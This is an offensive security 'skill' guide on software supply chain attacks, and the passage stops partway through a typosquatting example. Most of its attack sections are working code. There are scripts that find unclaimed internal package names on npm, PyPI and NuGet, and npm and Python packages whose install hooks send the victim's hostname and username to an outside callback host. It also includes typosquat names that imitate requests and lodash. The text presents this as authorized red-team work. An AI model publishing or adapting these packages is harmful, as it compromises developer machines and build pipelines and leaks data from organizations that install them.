offensive-supply-chain

# Offensive Supply Chain Attacks

Software supply chain attacks exploit the trust relationships between developers,
package registries, build systems, and deployment pipelines. You target the
components and processes that organizations depend on but rarely audit with the
same rigor as their own code. A single compromised dependency can propagate
across thousands of downstream consumers, making supply chain the highest
leverage attack surface in modern software ecosystems.

This skill covers the offensive lifecycle: reconnaissance of internal package
names, exploitation of registry resolution logic, build system hook abuse,
CI/CD pipeline tampering, and container image supply chain attacks. Every
technique maps to authorized red team engagement patterns with safe callback
mechanisms.

## Quick Workflow

1. Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
2. Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
3. Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
4. Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
5. Register the package on the public registry or stage the artifact for injection.
6. Monitor for callback to confirm execution in the target environment.
7. Document the attack path, affected systems, and remediation guidance.

---

## Dependency Confusion

Dependency confusion exploits the resolution order when an organization uses
both private and public package registries. If the private registry is not
configured as the exclusive source, the package manager may prefer a
higher-versioned public package over the internal one.

### npm Dependency Confusion

When a project references an unscoped private package and the .npmrc does not
pin the registry exclusively, npm falls back to the public registry.

```bash
# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt

# Check which names are unclaimed on the public npm registry
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pkg_names.txt
```

```json
// Malicious package.json with high version to win resolution
{
  "name": "internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
  }
}
```

### PyPI Dependency Confusion

Python's pip resolves packages from PyPI by default. When organizations use
`--extra-index-url` to add a private registry, pip considers both indexes and
selects the highest version.

```bash
# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
  sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt

# Check availability on public PyPI
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pypi_names.txt
```

```python
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request

class PostInstall(install):
    def run(self):
        install.run(self)
        hostname = socket.gethostname()
        user = os.getenv("USER", "unknown")
        urllib.request.urlopen(
            f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
        )

setup(
    name="internal-data-lib",
    version="99.0.0",
    cmdclass={"install": PostInstall},
)
```

### NuGet Feed Priority

NuGet resolves from multiple configured feeds. If a private feed is listed
alongside nuget.org, the highest version across all feeds wins.

```xml
<!-- nuget.config exposing the vulnerability -->
<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
  </packageSources>
</configuration>
```

```bash
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
  | jq '.versions'
# Empty or 404 means the name is available
```

### Automated Scanning with confused

```bash
# Install confused (Go-based dependency confusion scanner)
go install github.com/visma-prodsec/confused@latest

# Scan npm lock file for confusable packages
confused -l npm package-lock.json

# Scan Python requirements
confused -l pip requirements.txt

# Scan NuGet packages.config
confused -l nuget packages.config
```

---

## Typosquatting Attacks

Typosquatting relies on developers mistyping package names during installation.
You register packages with names that are common misspellings, hyphen/underscore
variants, or pluralization differences of popular packages.

```bash
# Generate typosquat candidates for a target package
target="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
```

```python
# setup.py for a typosquat PoC -- safe callback only
from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket

class Callback(install):
    def run(self):
        install.run(self)
        h = socket.gethostname()
        urllib.request.urlopen(f"https://canary.example.com/typo-{h}")

setup(
    name="reqeusts",  # common transposition typo
    version="2.31.0",
    description="This is a security research package.",
    cmdclass={"install": Callback},
    python_requires=">=3.6",
)
```

```javascript
// package.json for npm typosquat PoC
{
  "name": "loadash",
  "version": "4.17.21",
  "description": "Secur